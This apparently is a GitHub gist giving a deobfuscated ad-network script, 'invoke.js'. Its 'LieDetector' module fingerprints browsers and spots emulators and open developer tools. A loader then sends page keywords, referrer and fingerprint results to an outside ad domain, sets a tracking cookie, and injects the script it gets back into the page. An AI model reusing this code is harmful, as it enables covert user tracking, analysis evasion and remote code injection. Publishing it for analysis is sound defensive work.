Skip to content

Instantly share code, notes, and snippets.

@mhasbini
Created December 12, 2022 13:22
Show Gist options
  • Save mhasbini/97b471911866e7c7016fa6f27e7f10c7 to your computer and use it in GitHub Desktop.
Save mhasbini/97b471911866e7c7016fa6f27e7f10c7 to your computer and use it in GitHub Desktop.
Deobfuscated version of earlierindians . com/39faf03aa687eeefffbe787537b56e15/invoke.js
!(function (arg1, arg2, arg3) {
"use strict";
var lVar1 = [];
var lVar2 = [];
var lVar3 = arg3.documentElement;
var lVar4 = 12;
var lVar5 = 0;
var lVar6 = 0;
var LieDetector = {
"isEmulate": function () {
var lVar8 = func4();
var lVar9 = func3();
var lVar10 = func6();
var lVar11 = func5();
return lVar10 || (lVar8 && !lVar9) || lVar11;
},
"addTest": function (name, truePoints, falsePoints, fn) {
lVar1.push({
"name": name,
"truePoints": truePoints,
"falsePoints": falsePoints,
"fn": fn
});
},
"runTests": function () {
var lVar12;
var result;
lVar1.forEach(function (arg4, arg5) {
try {
if ((lVar12 = "function" == typeof arg4.fn ? arg4.fn() : arg4.fn)) {
lVar5 |= 1 << arg5;
}
result = lVar12 ? arg4.truePoints : arg4.falsePoints;
lVar2.push({ "name": arg4.name, "result": result });
} catch (error) {
lVar6 |= 1 << arg5;
}
});
return this;
},
"getResults": function () {
return lVar4 + "." + lVar5 + (0 < lVar6 ? "." + lVar6 : "");
}
};
function func3() {
var lVar14 = 0;
var lVar15 = 0;
lVar2.forEach(function (arg4) {
if (arg4.result.hasOwnProperty("d")) {
lVar14 += arg4.result.d;
}
if (arg4.result.hasOwnProperty("m")) {
lVar15 += arg4.result.m;
}
});
return lVar14 < lVar15;
}
function func4() {
var lVar16 = false;
var lVar17;
return (
!/SmartTV/.test(arg2.userAgent) &&
((lVar17 = arg2.userAgent || arg2.vendor || arg1.opera),
(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino|android|ipad|playbook|silk/i.test(
lVar17
) ||
/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(
lVar17.substr(0, 4)
)) &&
(lVar16 = true),
lVar16)
);
}
function func5() {
return lVar2.some(function (arg4) {
return 0 < arg4.result.e;
});
}
function func6() {
return (
(Boolean(arg1.MSInputMethodContext) && Boolean(arg3.documentMode)) ||
(undefined !== arg1 &&
"[object OperaMini]" === Object.prototype.toString.call(arg1.operamini))
);
}
function func7(cssText, arg4, arg5, arg6) {
var id = "LieDetector";
var lVar19;
var lVar20;
var lVar21;
var overflow;
var createElement = arg3.createElement("div");
var lVar24 = func8();
if (parseInt(arg5, 10)) {
for (; arg5--; ) {
(lVar21 = arg3.createElement("div")).id = arg6 ? arg6[arg5] : id + (arg5 + 1);
createElement.appendChild(lVar21);
}
}
(lVar19 = arg3.createElement("style")).type = "text/css";
lVar19.id = "s" + id;
if (lVar24.fake) {
lVar24.appendChild(lVar19);
} else {
createElement.appendChild(lVar19);
}
lVar24.appendChild(createElement);
if (lVar19.styleSheet) {
lVar19.styleSheet.cssText = cssText;
} else {
lVar19.appendChild(arg3.createTextNode(cssText));
}
createElement.id = id;
if (lVar24.fake) {
(lVar24.style.background = ""),
(lVar24.style.overflow = "hidden"),
(overflow = lVar3.style.overflow),
(lVar3.style.overflow = "hidden"),
lVar3.appendChild(lVar24);
}
lVar20 = arg4(createElement, cssText);
if (lVar24.fake) {
lVar24.parentNode.removeChild(lVar24);
lVar3.style.overflow = overflow;
lVar3.offsetHeight;
} else {
createElement.parentNode.removeChild(createElement);
}
return Boolean(lVar20);
}
function func8() {
var lVar25 = arg3.body;
if (lVar25) {
(lVar25 = arg3.createElement("body")).fake = true;
}
return lVar25;
}
LieDetector.addTest("hasFileInputMultiple", {}, { "m": 5 }, function () {
return "multiple" in arg3.createElement("input");
});
LieDetector.addTest("hasCustomProtocolHandler", { "d": 7 }, {}, function () {
return Boolean(arg2.registerProtocolHandler);
});
LieDetector.addTest("hasCrypto", {}, { "m": 20 }, function () {
return Boolean(arg1.crypto);
});
LieDetector.addTest("hasNotification", { "d": 7 }, {}, function () {
if (!arg1.Notification || !arg1.Notification.requestPermission) {
return false;
}
if ("granted" === arg1.Notification.permission) {
return true;
}
try {
new arg1.Notification("");
} catch (error) {
if ("TypeError" === error.name) {
return false;
}
}
return true;
});
LieDetector.addTest("hasSharedWorkers", { "d": 10 }, {}, function () {
return "SharedWorker" in arg1;
});
LieDetector.addTest("hasInputCapture", { "m": 10 }, {}, function () {
return "capture" in arg3.createElement("input");
});
LieDetector.addTest("hasTouchEvents", { "m": 5 }, { "d": 5 }, function () {
var lVar26;
var lVar27;
if ("ontouchstart" in arg1 || (arg1.DocumentTouch && arg3 instanceof DocumentTouch)) {
lVar26 = true;
} else {
func7(
"@media (touch-enabled),(-webkit-touch-enabled),(-moz-touch-enabled),(-o-touch-enabled),(-ms-touch-enabled){#liedetector{top:7px;position:absolute}}",
function (arg4) {
lVar26 = 7 === arg4.offsetTop;
}
);
}
return lVar26;
});
LieDetector.addTest("hasWindowOrientationProperty", { "m": 20 }, { "d": 10 }, function () {
return undefined !== arg1.orientation;
});
LieDetector.addTest("hasDevToolsOpen", { "d": 1000 }, {}, function () {
if (arg1.console && arg1.console.firebug) {
return true;
}
var lVar28 = false;
var lVar29 = new Image();
if ("undefined" != typeof console && lVar29.__defineGetter__) {
lVar29.__defineGetter__("id", function () {
lVar28 = true;
}),
console.log(lVar29),
console.clear();
}
return lVar28;
});
LieDetector.addTest("hasLiedResolution", { "e": 0 }, {}, function () {
return (
arg1.screen.width < arg1.screen.availWidth ||
arg1.screen.height < arg1.screen.availHeight
);
});
LieDetector.addTest("hasLiedOs", { "e": 1 }, {}, function () {
var toLowerCase = arg2.userAgent.toLowerCase();
var lVar31 = arg2.oscpu;
var toLowerCase1 = arg2.platform.toLowerCase();
var lVar33;
var lVar34;
if (
((lVar33 =
0 <= toLowerCase.indexOf("windows phone")
? "Windows Phone"
: 0 <= toLowerCase.indexOf("xbox")
? "Xbox"
: 0 <= toLowerCase.indexOf("win")
? "Windows"
: 0 <= toLowerCase.indexOf("android")
? "Android"
: 0 <= toLowerCase.indexOf("cros")
? "Chrome OS"
: 0 <= toLowerCase.indexOf("linux")
? "Linux"
: 0 <= toLowerCase.indexOf("iphone") || 0 <= toLowerCase.indexOf("ipad")
? "iOS"
: 0 <= toLowerCase.indexOf("mac")
? "Mac"
: "Other"),
("ontouchstart" in arg1 || 0 < arg2.maxTouchPoints || 0 < arg2.msMaxTouchPoints) &&
-1 === ["Android", "Chrome OS", "iOS", "Other", "Windows Phone"].indexOf(lVar33))
) {
return true;
}
if (undefined !== lVar31) {
if (
0 <= (lVar31 = lVar31.toLowerCase()).indexOf("win") &&
"Windows" !== lVar33 &&
"Windows Phone" !== lVar33
) {
return true;
}
if (
0 <= lVar31.indexOf("linux") &&
-1 === ["Android", "Chrome OS", "Linux"].indexOf(lVar33)
) {
return true;
}
if (0 <= lVar31.indexOf("mac") && "Mac" !== lVar33 && "iOS" !== lVar33) {
return true;
}
if (/win|linux|mac/.test(lVar31) === ("Other" === lVar33)) {
return true;
}
}
return (
(0 <= toLowerCase1.indexOf("win") &&
"Windows" !== lVar33 &&
"Windows Phone" !== lVar33) ||
!(
!/linux|android|pike/.test(toLowerCase1) ||
-1 !== ["Android", "Chrome OS", "Linux"].indexOf(lVar33)
) ||
!(!/mac|ipad|ipod|iphone/.test(toLowerCase1) || "Mac" === lVar33 || "iOS" === lVar33) ||
/win|linux|mac|iphone|ipad/.test(toLowerCase1) === ("Other" === lVar33) ||
(undefined === arg2.plugins && "Windows" !== lVar33 && "Windows Phone" !== lVar33)
);
});
LieDetector.addTest("hasLiedBrowser", { "e": 1 }, {}, function () {
var toLowerCase = arg2.userAgent.toLowerCase();
var lVar36 = arg2.productSub;
var lVar37;
lVar37 =
0 <= toLowerCase.indexOf("firefox")
? "Firefox"
: 0 <= toLowerCase.indexOf("edge")
? "Edge"
: 0 <= toLowerCase.indexOf("opera") && 0 <= toLowerCase.indexOf("presto")
? "Opera Presto"
: 0 <= toLowerCase.indexOf("opera") || 0 <= toLowerCase.indexOf("opr")
? "Opera"
: 0 <= toLowerCase.indexOf("chrome")
? "Chrome"
: 0 <= toLowerCase.indexOf("safari")
? "Safari"
: 0 <= toLowerCase.indexOf("trident")
? "Internet Explorer"
: "Other";
var lVar38;
var lVar39 = !!!document.documentMode && !!window.StyleMedia;
if (
-1 !== ["Chrome", "Safari", "Opera", "Opera Presto"].indexOf(lVar37) &&
"20030107" !== lVar36
) {
return true;
}
if ("Opera" === lVar37 && !window.opr) {
return true;
}
if ("Chrome" === lVar37 && ((window.chrome && window.chrome.search) || lVar39)) {
return true;
}
if ("Firefox" === lVar37 && "undefined" == typeof InstallTrigger) {
return true;
}
if ("Edge" === lVar37 && !lVar39) {
return true;
}
var lVar40 = eval.toString().length;
var lVar41;
if (37 === lVar40 && -1 === ["Firefox", "Other", "Safari"].indexOf(lVar37)) {
return true;
}
if (39 === lVar40 && -1 === ["Internet Explorer", "Other"].indexOf(lVar37)) {
return true;
}
if (33 === lVar40 && -1 === ["Chrome", "Edge", "Opera", "Other"].indexOf(lVar37)) {
return true;
}
try {
throw "a";
} catch (error) {
try {
error.toSource();
lVar41 = true;
} catch (error) {
lVar41 = false;
}
}
return lVar41 && "Firefox" !== lVar37 && "Other" !== lVar37;
});
LieDetector.addTest("hasLiedLanguage", { "e": 0 }, {}, function () {
if (arg2.languages) {
try {
var lVar42;
return arg2.languages[0].substr(0, 2) !== arg2.language.substr(0, 2);
} catch (error) {
return true;
}
}
return false;
});
arg1.LieDetector = LieDetector;
})(window, navigator, document);
(function () {
function func9(arg1) {
function func10(arg2, src) {
var createElement = document.createElement("script");
var lVar2 = false;
var func11 = function () {
if (!lVar2) {
lVar2 = true;
var getElementById = document.getElementById(arg2);
if (getElementById) {
getElementById.appendChild(createElement);
}
}
};
if (
((createElement.async = true),
(createElement.defer = true),
(createElement.src = src),
"complete" === document.readyState)
) {
func11();
} else if (document.addEventListener) {
document.addEventListener("DOMContentLoaded", func11, false);
window.addEventListener("load", func11, false);
} else if (document.attachEvent) {
document.attachEvent("onload", func11);
window.attachEvent("onload", func11);
} else {
var lVar5 = window.onload;
window.onload = function () {
if (func12(lVar5, Function)) {
lVar5();
}
func11();
};
}
}
function func12(arg2, arg3) {
return arg2 instanceof arg3 && arg2.constructor === arg3;
}
function func13(arg2, arg3) {
for (var lVar6 in arg3)
if (arg3.hasOwnProperty(lVar6)) {
try {
arg2.setAttribute(lVar6, arg3[lVar6]);
} catch (error) {
arg2[lVar6] = arg3[lVar6];
}
}
}
function func14(arg2) {
var lVar7 = document.cookie;
var lVar8 = "dom3ic8zudi28v8lr6fgphwffqoz0j6c";
var indexOf = lVar7.indexOf(lVar8 + "=");
var charAt = lVar7.charAt(indexOf - 1);
if (0 === indexOf || (0 < indexOf && (";" === charAt || " " === charAt))) {
var indexOf1 = lVar7.indexOf(";", indexOf);
arg2(lVar7.substring(indexOf + 33, -1 === indexOf1 ? undefined : indexOf1));
} else {
try {
var lVar12 = new XMLHttpRequest();
var lVar13 = setTimeout(function () {
lVar12.abort();
}, 1000);
if ("withCredentials" in lVar12) {
lVar12.withCredentials = true;
}
lVar12.open("GET", "https://simplewebanalysis.com/stats");
lVar12.onload = function () {
clearTimeout(lVar13);
var lVar14 = encodeURIComponent(lVar12.responseText.trim());
var lVar15 = new Date();
lVar15.setTime(lVar15.getTime() + 7 * 86400 * 1000);
var lVar16 = [
lVar8 + "=" + lVar14,
"expires=" + lVar15.toUTCString(),
"path=/",
"SameSite=Lax"
];
document.cookie = lVar16.join(";");
arg2(lVar14);
};
lVar12.onerror = lVar12.onabort = function () {
arg2("");
};
lVar12.send();
} catch (error) {
arg2("");
}
}
}
function func15(arg2) {
for (
var querySelectorAll = document.querySelectorAll(
'script[src $= "' + arg2 + '/invoke.js"]'
),
querySelectorAll1 = document.querySelectorAll('script[src $= "invoke.js"]'),
lVar19,
lVar20 = 0,
lVar21 = (lVar19 = querySelectorAll.length
? querySelectorAll
: querySelectorAll1).length;
lVar20 < lVar21;
lVar20++
) {
var lVar22 = lVar19[lVar20].className;
var lVar23 = "atScript";
var className = lVar23 + (querySelectorAll.length ? arg2 : "") + "_" + lVar20;
if (lVar22.indexOf(className) < 0 && lVar22.indexOf(lVar23) < 0) {
lVar19[lVar20].className += className;
return lVar19[lVar20];
}
}
}
function func16(arg2) {
if (
null !== arg2.key &&
("js" === arg2.format ||
("iframe" === arg2.format &&
!isNaN((arg2.height = Math.floor(arg2.height))) &&
isFinite(arg2.height) &&
!isNaN((arg2.width = Math.floor(arg2.width))) &&
isFinite(arg2.width)))
) {
var lVar25 = new Date();
var lVar26 = (function () {
var lVar27 = [];
if (func12(arg2.params, Object)) {
for (var lVar28 in arg2.params)
if (arg2.params.hasOwnProperty(lVar28)) {
lVar27.push('"' + lVar28 + '":"' + arg2.params[lVar28] + '"');
}
}
return lVar27;
})();
var lVar29 = (function () {
var lVar30 = "";
try {
if (parent !== window) {
lVar30 = document.referrer;
var lVar31 = window.location.ancestorOrigins;
if (lVar31) {
var lVar32 = lVar31[lVar31.length - 1];
if (lVar32 && lVar30.substring(0, lVar32.length) !== lVar32) {
lVar30 = lVar32;
}
}
} else {
lVar30 = top.location.href;
}
} catch (error) {}
return lVar30;
})();
var ceil = Math.ceil(lVar25.getTime() * Math.random());
var lVar34 = lVar25.getTimezoneOffset() / -60;
var lVar35 =
"https://patrondescendantprecursor.com/watch." +
ceil +
".js?key=" +
arg2.key +
"&kw=" +
encodeURIComponent(JSON.stringify(arg1)) +
"&refer=" +
encodeURIComponent(lVar29) +
(lVar26.length
? "&custom=" + encodeURIComponent("{" + lVar26.join(",") + "}")
: "") +
"&tz=" +
lVar34 +
"&dev=" +
(window.LieDetector.runTests().isEmulate() ? "e" : "r") +
"&res=" +
window.LieDetector.getResults();
var lVar36 =
"https://patrondescendantprecursor.com/watch." +
ceil +
"?key=" +
arg2.key +
"&kw=" +
encodeURIComponent(JSON.stringify(arg1)) +
"&refer=" +
encodeURIComponent(lVar29) +
(lVar26.length
? "&custom=" + encodeURIComponent("{" + lVar26.join(",") + "}")
: "") +
"&tz=" +
lVar34 +
"&dev=" +
(window.LieDetector.runTests().isEmulate() ? "e" : "r") +
"&res=" +
window.LieDetector.getResults();
var lVar37 = new (
"onload" in new XMLHttpRequest() ? XMLHttpRequest : XDomainRequest
)();
var lVar38 = func15(arg2.key);
var lVar39 = lVar38.parentNode.nodeName;
var createElement = document.createElement("iframe");
var lVar41 = {
"allowtransparency": "true",
"scrolling": "no",
"frameborder": 0,
"framespacing": 0
};
var createElement1 = document.createElement("div");
var lVar43 = /frame_width=([0-9]{1,});/;
var lVar44 = /frame_height=([0-9]{1,});/;
var lVar45 = /<script>([\s\S]+(?:openerUrl)[\s\S]*?)<\/script>/g;
var func17 = function (arg3, arg4) {
if (null !== window.frameElement && "HEAD" === lVar39) {
var lVar47 = document.getElementsByTagName("body")[0];
if (undefined !== lVar47) {
if (lVar47.childNodes.length) {
arg4 && lVar47.appendChild(arg4), lVar47.appendChild(arg3);
}
} else {
document.addEventListener("DOMContentLoaded", function () {
if (
(lVar47 = document.getElementsByTagName("body")[0]).childNodes
.length
) {
if (arg4) {
lVar47.appendChild(arg4);
}
lVar47.appendChild(arg3);
}
});
}
} else {
if (arg4) {
lVar38.parentNode.insertBefore(arg4, lVar38);
}
lVar38.parentNode.insertBefore(arg3, lVar38);
}
};
var func18 = function () {
if (undefined !== arg2.height && undefined !== arg2.width) {
lVar41.width = arg2.width;
lVar41.height = arg2.height;
func14(function (arg3) {
createElement.src = lVar36 + "&uuid=" + arg3;
});
func13(createElement, lVar41);
if (arg2.async) {
document.getElementById(arg2.container).appendChild(createElement);
} else {
func17(createElement);
}
} else {
var id =
"string" == typeof arg2.container
? arg2.container
: "atContainer-" + arg2.key;
window.atAsyncContainers[arg2.key] = id;
if (arg2.async) {
(createElement1.id = id), func17(createElement1);
}
func14(function (arg3) {
func10(id, lVar35 + "&uuid=" + arg3);
});
}
};
try {
func14(function (arg3) {
if ("withCredentials" in lVar37) {
lVar37.withCredentials = true;
}
lVar37.onload = function () {
if (
lVar37.readyState === XMLHttpRequest.DONE &&
200 === lVar37.status
) {
var lVar51 = "<!--video_banner=1;-->";
var lVar52 = "var dfc221c35e";
var match = innerHTML.match(lVar43);
var match1 = innerHTML.match(lVar44);
var match2 = innerHTML.match(lVar45);
if (
(null !== match && null !== match1
? ((lVar41.width = match[match.length - 1]),
(lVar41.height = match1[match1.length - 1]),
(innerHTML = innerHTML
.replace(lVar43, "")
.replace(lVar44, "")))
: "iframe" === arg2.format &&
((lVar41.width = arg2.width),
(lVar41.height = arg2.height)),
"js" === arg2.format ||
0 <= innerHTML.indexOf(lVar51) ||
0 <= innerHTML.indexOf(lVar52))
) {
innerHTML = innerHTML.replace(lVar51, "");
var id =
"string" == typeof arg2.container
? arg2.container
: "atContainer-" + arg2.key;
window.atAsyncContainers[arg2.key] = id;
if (arg2.async) {
(createElement1.id = id), func17(createElement1);
}
var createElement2 = document.createElement("script");
createElement2.innerHTML += innerHTML;
document.getElementById(id).appendChild(createElement2);
} else {
var getElementById = document.getElementById(arg2.container);
var createElement3 = document.createElement("script");
var createElement4 = document.createElement("script");
var lVar61;
if (
((lVar41.src = "about:blank"),
func13(createElement, lVar41),
match2)
) {
lVar61 = document.createElement("script");
var trim = match2[0].replace(/<\/?script>/g, "").trim();
innerHTML = innerHTML.replace(lVar45, "");
lVar61.innerHTML = trim;
}
createElement4.innerHTML += innerHTML;
createElement1.id = "atContainer-" + arg2.key;
createElement3.innerHTML +=
'window["atAsyncContainers"]={}; window["atAsyncContainers"]["' +
arg2.key +
'"] = "' +
"atContainer-" +
arg2.key +
'";';
if (arg2.async) {
if (match2) {
getElementById.appendChild(lVar61);
}
getElementById.appendChild(createElement);
} else {
func17(createElement, lVar61);
}
var lVar63 = setInterval(function () {
var lVar64 =
createElement.contentDocument ||
createElement.contentWindow.document;
if ("complete" === lVar64.readyState) {
clearInterval(lVar63);
lVar64.body.style.margin = 0;
lVar64.body.appendChild(createElement3);
lVar64.body.appendChild(createElement1);
lVar64.body.appendChild(createElement4);
}
}, 10);
}
}
};
lVar37.onerror = lVar37.onabort = function () {
func18();
};
lVar37.open("GET", lVar35 + "&uuid=" + arg3);
lVar37.send();
});
} catch (error) {
func18();
}
} else if (window.console && func12(window.console.error, Function)) {
window.console.error("Invalid invocation parameters passed");
}
}
if (
(func12(window.atAsyncContainers, Object) || (window.atAsyncContainers = {}),
func12(window.atOptions, Object))
) {
func16(window.atOptions);
delete window.atOptions;
} else if (func12(window.atAsyncOptions, Array)) {
for (
var lVar65 = 0, atAsyncOption = window.atAsyncOptions.length;
lVar65 < atAsyncOption;
lVar65++
)
if (func12(window.atAsyncOptions[lVar65], Object)) {
func16(window.atAsyncOptions.splice(lVar65, 1)[0]);
}
}
}
var lVar67;
var lVar68;
var lVar69;
var lVar70;
function func19(arg1) {
if (arg1) {
var createElement = document.createElement("script");
createElement.async = true;
createElement.src =
"//patrondescendantprecursor.com/" +
arg1.substr(0, 2) +
"/" +
arg1.substr(2, 2) +
"/" +
arg1.substr(4, 2) +
"/" +
arg1 +
".js";
document.head.appendChild(createElement);
}
}
(lVar67 = func9)(
(null !==
(lVar69 = (function () {
try {
return window.top.document.getElementsByTagName("head")[0];
} catch (error) {
return document.getElementsByTagName("head")[0];
}
})()) &&
null !== (lVar70 = lVar69.getElementsByTagName("title")[0]) &&
undefined !== lVar70
? "textContent" in lVar70
? lVar70.textContent
: "innerText" in lVar70
? lVar70.innerText
: ""
: ""
)
.toLowerCase()
.replace(/[^a-z0-9\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF+-]+/g, " ")
.split(" ")
.filter(function (arg1) {
return !!arg1;
})
);
var lVar72;
var lVar73 = "6a3f301c54054ad5396f6f960a8fd7ec";
var lVar74 = "";
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment